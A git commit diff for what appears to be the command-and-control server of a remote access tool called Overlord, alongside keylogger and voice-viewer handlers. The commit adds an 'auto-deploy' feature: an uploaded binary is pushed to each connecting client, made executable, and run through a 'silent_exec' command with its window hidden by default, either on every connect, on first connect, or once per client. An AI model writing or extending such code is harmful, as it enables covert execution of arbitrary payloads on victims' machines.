auto execution implemented and fix issue when uninstalling clients and them being shown in the menu when they connect to purgatory

This commit is contained in:
KingKDot
2026-03-29 17:53:25 -05:00
parent a55c3193e0
commit fd2749dcf0
11 changed files with 884 additions and 1 deletions
+190
View File
@@ -190,6 +190,39 @@ db.run(
`CREATE INDEX IF NOT EXISTS idx_auto_script_runs_ts ON auto_script_runs(ts DESC);`,
);
db.run(`
CREATE TABLE IF NOT EXISTS auto_deploys (
id TEXT PRIMARY KEY,
name TEXT NOT NULL,
trigger TEXT NOT NULL,
file_path TEXT NOT NULL,
file_name TEXT NOT NULL,
file_size INTEGER NOT NULL,
file_os TEXT NOT NULL,
args TEXT NOT NULL DEFAULT '',
hide_window INTEGER NOT NULL DEFAULT 1,
enabled INTEGER NOT NULL,
os_filter TEXT NOT NULL DEFAULT '[]',
created_at INTEGER NOT NULL,
updated_at INTEGER NOT NULL
);
`);
db.run(
`CREATE INDEX IF NOT EXISTS idx_auto_deploys_trigger ON auto_deploys(trigger, enabled);`,
);
db.run(`
CREATE TABLE IF NOT EXISTS auto_deploy_runs (
deploy_id TEXT NOT NULL,
client_id TEXT NOT NULL,
ts INTEGER NOT NULL,
PRIMARY KEY (deploy_id, client_id)
);
`);
db.run(
`CREATE INDEX IF NOT EXISTS idx_auto_deploy_runs_ts ON auto_deploy_runs(ts DESC);`,
);
export function upsertClientRow(
partial: Partial<ClientInfo> & {
id: string;
@@ -218,6 +251,7 @@ export function upsertClientRow(
last_seen=excluded.last_seen,
online=COALESCE(excluded.online, clients.online),
ping_ms=COALESCE(excluded.ping_ms, clients.ping_ms),
enrollment_status=CASE WHEN excluded.enrollment_status <> 'pending' THEN excluded.enrollment_status ELSE clients.enrollment_status END,
public_key=COALESCE(excluded.public_key, clients.public_key),
key_fingerprint=COALESCE(excluded.key_fingerprint, clients.key_fingerprint)
`,
@@ -1052,3 +1086,159 @@ export function getPendingClients(): {
lastSeen: Number(r.lastSeen) || 0,
}));
}
export type AutoDeployTrigger = "on_connect" | "on_first_connect" | "on_connect_once";
export type AutoDeploy = {
id: string;
name: string;
trigger: AutoDeployTrigger;
filePath: string;
fileName: string;
fileSize: number;
fileOs: string;
args: string;
hideWindow: boolean;
enabled: boolean;
osFilter: string[];
createdAt: number;
updatedAt: number;
};
function mapAutoDeployRow(row: any): AutoDeploy {
let osFilter: string[] = [];
try {
const parsed = JSON.parse(row.os_filter || "[]");
osFilter = Array.isArray(parsed) ? parsed : [];
} catch { }
return {
id: row.id,
name: row.name,
trigger: row.trigger as AutoDeployTrigger,
filePath: row.file_path,
fileName: row.file_name,
fileSize: Number(row.file_size) || 0,
fileOs: row.file_os || "unknown",
args: row.args || "",
hideWindow: row.hide_window === 1,
enabled: row.enabled === 1,
osFilter,
createdAt: Number(row.created_at) || 0,
updatedAt: Number(row.updated_at) || 0,
};
}
export function listAutoDeploys(): AutoDeploy[] {
const rows = db.query<any>(`SELECT * FROM auto_deploys ORDER BY created_at DESC`).all();
return rows.map(mapAutoDeployRow);
}
export function getAutoDeploysByTrigger(trigger: AutoDeployTrigger): AutoDeploy[] {
const rows = db
.query<any>(
`SELECT * FROM auto_deploys WHERE trigger=? AND enabled=1 ORDER BY created_at ASC`,
)
.all(trigger);
return rows.map(mapAutoDeployRow);
}
export function getAutoDeploy(id: string): AutoDeploy | null {
const row = db.query<any>(`SELECT * FROM auto_deploys WHERE id=?`).get(id);
return row ? mapAutoDeployRow(row) : null;
}
export function createAutoDeploy(input: {
id: string;
name: string;
trigger: AutoDeployTrigger;
filePath: string;
fileName: string;
fileSize: number;
fileOs: string;
args: string;
hideWindow: boolean;
enabled: boolean;
osFilter: string[];
}): AutoDeploy {
const now = Date.now();
db.run(
`INSERT INTO auto_deploys (id, name, trigger, file_path, file_name, file_size, file_os, args, hide_window, enabled, os_filter, created_at, updated_at)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
input.id,
input.name,
input.trigger,
input.filePath,
input.fileName,
input.fileSize,
input.fileOs,
input.args,
input.hideWindow ? 1 : 0,
input.enabled ? 1 : 0,
JSON.stringify(input.osFilter ?? []),
now,
now,
);
return getAutoDeploy(input.id)!;
}
export function updateAutoDeploy(
id: string,
input: Partial<{
name: string;
trigger: AutoDeployTrigger;
args: string;
hideWindow: boolean;
enabled: boolean;
osFilter: string[];
}>,
): AutoDeploy | null {
const current = getAutoDeploy(id);
if (!current) return null;
const next = {
name: input.name ?? current.name,
trigger: (input.trigger ?? current.trigger) as AutoDeployTrigger,
args: input.args ?? current.args,
hideWindow: typeof input.hideWindow === "boolean" ? input.hideWindow : current.hideWindow,
enabled: typeof input.enabled === "boolean" ? input.enabled : current.enabled,
osFilter: Array.isArray(input.osFilter) ? input.osFilter : current.osFilter,
};
db.run(
`UPDATE auto_deploys SET name=?, trigger=?, args=?, hide_window=?, enabled=?, os_filter=?, updated_at=? WHERE id=?`,
next.name,
next.trigger,
next.args,
next.hideWindow ? 1 : 0,
next.enabled ? 1 : 0,
JSON.stringify(next.osFilter),
Date.now(),
id,
);
return getAutoDeploy(id);
}
export function deleteAutoDeploy(id: string): boolean {
const result = db.run(`DELETE FROM auto_deploys WHERE id=?`, id);
db.run(`DELETE FROM auto_deploy_runs WHERE deploy_id=?`, id);
return (result as any)?.changes ? (result as any).changes > 0 : true;
}
export function hasAutoDeployRun(deployId: string, clientId: string): boolean {
const row = db
.query<any>(
`SELECT deploy_id FROM auto_deploy_runs WHERE deploy_id=? AND client_id=?`,
)
.get(deployId, clientId);
return !!row?.deploy_id;
}
export function recordAutoDeployRun(deployId: string, clientId: string) {
db.run(
`INSERT OR REPLACE INTO auto_deploy_runs (deploy_id, client_id, ts) VALUES (?, ?, ?)`,
deployId,
clientId,
Date.now(),
);
}
+12
View File
@@ -38,6 +38,8 @@ import { CORS_HEADERS } from "./server/http-security";
import { mimeType, secureHeaders, securePluginHeaders } from "./server/http-utils";
import { sanitizePluginId } from "./server/plugin-utils";
import { dispatchAutoScriptsForConnection } from "./server/auto-script-dispatch";
import { dispatchAutoDeploysForConnection } from "./server/auto-deploy-dispatch";
import { handleAutoDeployRoutes } from "./server/routes/auto-deploy-routes";
import { consumeHttpDownloadPayload, type PendingHttpDownload } from "./server/http-download-consumer";
import { startBuildProcess as runBuildProcess } from "./server/build-process";
import { createHttpFetchHandler } from "./server/http-dispatch";
@@ -354,6 +356,10 @@ async function startServer() {
detectUploadOs,
normalizeClientOs,
},
autoDeploy: {
DEPLOY_ROOT,
detectUploadOs,
},
winre: {
WINRE_ROOT,
winreUploads,
@@ -476,6 +482,11 @@ async function startServer() {
handleKeyloggerViewerMessage,
handleVoiceViewerMessage,
dispatchAutoScriptsForConnection,
dispatchAutoDeploysForConnection: (info: import("./types").ClientInfo, ws: import("bun").ServerWebSocket<SocketData>) => {
const proto = tls ? "https" : "http";
const origin = `${proto}://127.0.0.1:${PORT}`;
dispatchAutoDeploysForConnection(info, ws, origin);
},
dispatchAutoLoadPlugins: (info: import("./types").ClientInfo) => {
dispatchAutoLoadPlugins(
info,
@@ -538,6 +549,7 @@ async function startServer() {
handleAuthRoutes,
handleNotificationsConfigRoutes,
handleAutoScriptsRoutes,
handleAutoDeployRoutes,
handleEnrollmentRoutes,
handleUsersRoutes,
handleBuildRoutes,
@@ -0,0 +1,134 @@
import type { ServerWebSocket } from "bun";
import { v4 as uuidv4 } from "uuid";
import { hasAutoDeployRun, getAutoDeploysByTrigger, recordAutoDeployRun } from "../db";
import { logger } from "../logger";
import { metrics } from "../metrics";
import { encodeMessage } from "../protocol";
import type { SocketData } from "../sessions/types";
import type { ClientInfo } from "../types";
import { logAudit, AuditAction } from "../auditLog";
import { normalizeClientOs } from "./deploy-utils";
import { createUploadPull } from "./routes/file-download-routes";
export function dispatchAutoDeploysForConnection(
info: ClientInfo,
ws: ServerWebSocket<SocketData>,
serverOrigin: string,
): void {
if (info.role !== "client") return;
if (ws.data?.autoDeploysRan) return;
const isNewClient = ws.data?.wasKnown === false;
const onConnect = getAutoDeploysByTrigger("on_connect");
const onFirst = isNewClient ? getAutoDeploysByTrigger("on_first_connect") : [];
const onConnectOnce = getAutoDeploysByTrigger("on_connect_once");
const deploys = [...onConnect, ...onFirst, ...onConnectOnce];
if (deploys.length === 0) {
ws.data.autoDeploysRan = true;
return;
}
const clientOs = normalizeClientOs(info.os);
for (const deploy of deploys) {
if (deploy.osFilter.length > 0) {
const rawOs = (info.os || "").toLowerCase();
if (!deploy.osFilter.includes(rawOs)) {
continue;
}
}
if (deploy.trigger === "on_connect_once") {
if (hasAutoDeployRun(deploy.id, info.id)) {
continue;
}
recordAutoDeployRun(deploy.id, info.id);
}
// Verify the file still exists
try {
const stat = Bun.file(deploy.filePath);
if (stat.size === 0) {
logger.warn(`[auto-deploy] file missing for ${deploy.id}: ${deploy.filePath}`);
continue;
}
} catch {
logger.warn(`[auto-deploy] file inaccessible for ${deploy.id}: ${deploy.filePath}`);
continue;
}
const destDir = clientOs === "windows"
? `C:\\Windows\\Temp\\Overlord\\auto-${deploy.id}`
: `/tmp/overlord/auto-${deploy.id}`;
const destPath = clientOs === "windows"
? `${destDir}\\${deploy.fileName}`
: `${destDir}/${deploy.fileName}`;
const pullId = createUploadPull({
clientId: info.id,
filePath: deploy.filePath,
fileName: deploy.fileName,
size: deploy.fileSize,
ttlMs: 120_000,
});
const pullUrl = `${serverOrigin}/api/file/upload/pull/${encodeURIComponent(pullId)}`;
try {
info.ws.send(
encodeMessage({
type: "command",
commandType: "file_upload_http" as any,
id: uuidv4(),
payload: { path: destPath, url: pullUrl, total: deploy.fileSize },
}),
);
if (clientOs !== "windows") {
info.ws.send(
encodeMessage({
type: "command",
commandType: "file_chmod" as any,
id: uuidv4(),
payload: { path: destPath, mode: "0755" },
}),
);
}
info.ws.send(
encodeMessage({
type: "command",
commandType: "silent_exec" as any,
id: uuidv4(),
payload: { command: destPath, args: deploy.args, hideWindow: deploy.hideWindow },
}),
);
metrics.recordCommand("silent_exec");
logAudit({
timestamp: Date.now(),
username: "system",
ip: "server",
action: AuditAction.SILENT_EXECUTE,
targetClientId: info.id,
success: true,
details: `auto-deploy:${deploy.name} trigger=${deploy.trigger} file=${deploy.fileName}`,
});
logger.info(`[auto-deploy] dispatched ${deploy.id} (${deploy.trigger}) to ${info.id}`);
} catch (err) {
logger.warn(`[auto-deploy] failed to dispatch ${deploy.id} to ${info.id}`, err);
logAudit({
timestamp: Date.now(),
username: "system",
ip: "server",
action: AuditAction.SILENT_EXECUTE,
targetClientId: info.id,
success: false,
details: `auto-deploy:${deploy.name} trigger=${deploy.trigger} file=${deploy.fileName}`,
errorMessage: (err as Error)?.message || "send failed",
});
}
}
ws.data.autoDeploysRan = true;
}
@@ -23,6 +23,7 @@ type HttpDispatchDeps<
TNotificationsConfig,
TBuild,
TDeploy,
TAutoDeploy,
TWinRE,
TFileDownload,
TPlugin,
@@ -37,6 +38,7 @@ type HttpDispatchDeps<
handleAuthRoutes: RouteHandlerWithServer<TServer>;
handleNotificationsConfigRoutes: RouteHandlerWithServerDeps<TServer, TNotificationsConfig>;
handleAutoScriptsRoutes: RouteHandler;
handleAutoDeployRoutes: RouteHandlerWithDeps<TAutoDeploy>;
handleEnrollmentRoutes: RouteHandler;
handleUsersRoutes: RouteHandlerWithServer<TServer>;
handleBuildRoutes: RouteHandlerWithServerDeps<TServer, TBuild>;
@@ -53,6 +55,7 @@ type HttpDispatchDeps<
notificationsConfig: TNotificationsConfig;
build: TBuild;
deploy: TDeploy;
autoDeploy: TAutoDeploy;
winre: TWinRE;
fileDownload: TFileDownload;
plugin: TPlugin;
@@ -69,6 +72,7 @@ export function createHttpFetchHandler<
TNotificationsConfig,
TBuild,
TDeploy,
TAutoDeploy,
TWinRE,
TFileDownload,
TPlugin,
@@ -83,6 +87,7 @@ export function createHttpFetchHandler<
TNotificationsConfig,
TBuild,
TDeploy,
TAutoDeploy,
TWinRE,
TFileDownload,
TPlugin,
@@ -111,6 +116,9 @@ export function createHttpFetchHandler<
const autoScriptsResponse = await deps.handleAutoScriptsRoutes(req, url);
if (autoScriptsResponse) return autoScriptsResponse;
const autoDeployResponse = await deps.handleAutoDeployRoutes(req, url, deps.routeDeps.autoDeploy);
if (autoDeployResponse) return autoDeployResponse;
const enrollmentResponse = await deps.handleEnrollmentRoutes(req, url);
if (enrollmentResponse) return enrollmentResponse;
@@ -0,0 +1,188 @@
import fs from "fs/promises";
import path from "path";
import { authenticateRequest } from "../../auth";
import {
createAutoDeploy,
deleteAutoDeploy,
getAutoDeploy,
listAutoDeploys,
updateAutoDeploy,
type AutoDeployTrigger,
} from "../../db";
import { requirePermission } from "../../rbac";
import { AUTO_DEPLOY_TRIGGERS, ALLOWED_OS_FILTERS } from "../validation-constants";
import { v4 as uuidv4 } from "uuid";
import type { DeployOs } from "../deploy-utils";
type AutoDeployRouteDeps = {
DEPLOY_ROOT: string;
detectUploadOs: (filename: string, bytes: Uint8Array) => DeployOs;
};
export async function handleAutoDeployRoutes(
req: Request,
url: URL,
deps: AutoDeployRouteDeps,
): Promise<Response | null> {
if (req.method === "GET" && url.pathname === "/api/auto-deploys") {
const user = await authenticateRequest(req);
if (!user) {
return new Response(JSON.stringify({ error: "Not authenticated" }), {
status: 401,
headers: { "Content-Type": "application/json" },
});
}
try {
requirePermission(user, "clients:control");
} catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
return Response.json({ items: listAutoDeploys() });
}
if (req.method === "POST" && url.pathname === "/api/auto-deploys") {
const user = await authenticateRequest(req);
if (!user) {
return new Response(JSON.stringify({ error: "Not authenticated" }), {
status: 401,
headers: { "Content-Type": "application/json" },
});
}
if (user.role !== "admin") {
return new Response("Forbidden: Admin access required", { status: 403 });
}
let form: FormData;
try {
form = await req.formData();
} catch {
return new Response("Bad request", { status: 400 });
}
const file = form.get("file");
if (!(file instanceof File)) {
return Response.json({ error: "Missing file" }, { status: 400 });
}
const name = String(form.get("name") || "").trim();
const triggerRaw = String(form.get("trigger") || "").trim() as AutoDeployTrigger;
const args = String(form.get("args") || "");
const hideWindow = form.get("hideWindow") !== "false";
const enabled = form.get("enabled") !== "false";
let osFilterRaw: string[] = [];
try {
osFilterRaw = JSON.parse(String(form.get("osFilter") || "[]"));
} catch { }
const osFilter = Array.isArray(osFilterRaw)
? osFilterRaw.filter((v: unknown) => typeof v === "string" && ALLOWED_OS_FILTERS.has(v as string))
: [];
if (!name) {
return Response.json({ error: "Name is required" }, { status: 400 });
}
if (!AUTO_DEPLOY_TRIGGERS.has(triggerRaw)) {
return Response.json({ error: "Invalid trigger" }, { status: 400 });
}
const filename = path.basename(file.name || "upload.bin");
const id = uuidv4();
await fs.mkdir(deps.DEPLOY_ROOT, { recursive: true });
const folder = path.join(deps.DEPLOY_ROOT, "auto", id);
await fs.mkdir(folder, { recursive: true });
const targetPath = path.join(folder, filename);
const bytes = new Uint8Array(await file.arrayBuffer());
await fs.writeFile(targetPath, bytes);
const fileOs = deps.detectUploadOs(filename, bytes);
const item = createAutoDeploy({
id,
name,
trigger: triggerRaw,
filePath: targetPath,
fileName: filename,
fileSize: bytes.length,
fileOs,
args,
hideWindow,
enabled,
osFilter,
});
return Response.json({ ok: true, item });
}
const autoDeployMatch = url.pathname.match(/^\/api\/auto-deploys\/(.+)$/);
if (autoDeployMatch && req.method === "PUT") {
const user = await authenticateRequest(req);
if (!user) {
return new Response(JSON.stringify({ error: "Not authenticated" }), {
status: 401,
headers: { "Content-Type": "application/json" },
});
}
if (user.role !== "admin") {
return new Response("Forbidden: Admin access required", { status: 403 });
}
let body: any = {};
try {
body = await req.json();
} catch {
return Response.json({ error: "Invalid JSON" }, { status: 400 });
}
const triggerRaw = body?.trigger ? String(body.trigger).trim() : undefined;
if (triggerRaw && !AUTO_DEPLOY_TRIGGERS.has(triggerRaw as AutoDeployTrigger)) {
return Response.json({ error: "Invalid trigger" }, { status: 400 });
}
const osFilterRaw = Array.isArray(body?.osFilter) ? body.osFilter : undefined;
const osFilter = osFilterRaw
? osFilterRaw.filter((v: unknown) => typeof v === "string" && ALLOWED_OS_FILTERS.has(v as string))
: undefined;
const updated = updateAutoDeploy(autoDeployMatch[1], {
name: body?.name ? String(body.name).trim() : undefined,
trigger: triggerRaw as AutoDeployTrigger | undefined,
args: typeof body?.args === "string" ? body.args : undefined,
hideWindow: typeof body?.hideWindow === "boolean" ? body.hideWindow : undefined,
enabled: typeof body?.enabled === "boolean" ? body.enabled : undefined,
osFilter,
});
if (!updated) {
return Response.json({ error: "Not found" }, { status: 404 });
}
return Response.json({ ok: true, item: updated });
}
if (autoDeployMatch && req.method === "DELETE") {
const user = await authenticateRequest(req);
if (!user) {
return new Response(JSON.stringify({ error: "Not authenticated" }), {
status: 401,
headers: { "Content-Type": "application/json" },
});
}
if (user.role !== "admin") {
return new Response("Forbidden: Admin access required", { status: 403 });
}
const deploy = getAutoDeploy(autoDeployMatch[1]);
if (deploy) {
try {
const dir = path.dirname(deploy.filePath);
await fs.rm(dir, { recursive: true, force: true });
} catch { }
}
deleteAutoDeploy(autoDeployMatch[1]);
return Response.json({ ok: true });
}
return null;
}
@@ -655,6 +655,7 @@ export async function handleClientRoutes(
} else if (action === "uninstall") {
target.ws.send(encodeMessage({ type: "command", commandType: "uninstall", id: uuidv4() }));
metrics.recordCommand("uninstall");
clientManager.deleteClient(targetId);
deleteClientRow(targetId);
logAudit({
timestamp: Date.now(),
@@ -52,6 +52,7 @@ type WsLifecycleDeps = {
handleKeyloggerViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleVoiceViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
dispatchAutoScriptsForConnection: (info: ClientInfo, ws: ServerWebSocket<SocketData>) => void;
dispatchAutoDeploysForConnection: (info: ClientInfo, ws: ServerWebSocket<SocketData>) => void;
dispatchAutoLoadPlugins: (info: ClientInfo) => void;
takePendingNotificationScreenshot: (clientId: string) => any;
storeNotificationScreenshot: (
@@ -372,6 +373,7 @@ export async function handleWebSocketMessage(
clientManager.addClient(infoObj.id, infoObj);
deps.dispatchAutoScriptsForConnection(infoObj, ws);
deps.dispatchAutoDeploysForConnection(infoObj, ws);
deps.dispatchAutoLoadPlugins(infoObj);
deps.notifyDashboard();
deps.notifyDashboardClientEvent("client_online", {
@@ -1,4 +1,4 @@
import type { AutoScriptTrigger } from "../db";
import type { AutoScriptTrigger, AutoDeployTrigger } from "../db";
export const AUTO_SCRIPT_TRIGGERS = new Set<AutoScriptTrigger>([
"on_connect",
@@ -6,6 +6,12 @@ export const AUTO_SCRIPT_TRIGGERS = new Set<AutoScriptTrigger>([
"on_connect_once",
]);
export const AUTO_DEPLOY_TRIGGERS = new Set<AutoDeployTrigger>([
"on_connect",
"on_first_connect",
"on_connect_once",
]);
export const ALLOWED_SCRIPT_TYPES = new Set([
"powershell",
"bash",
+1
View File
@@ -22,6 +22,7 @@ export type SocketData = {
userId?: number;
wasKnown?: boolean;
autoTasksRan?: boolean;
autoDeploysRan?: boolean;
enrollmentNonce?: string;
};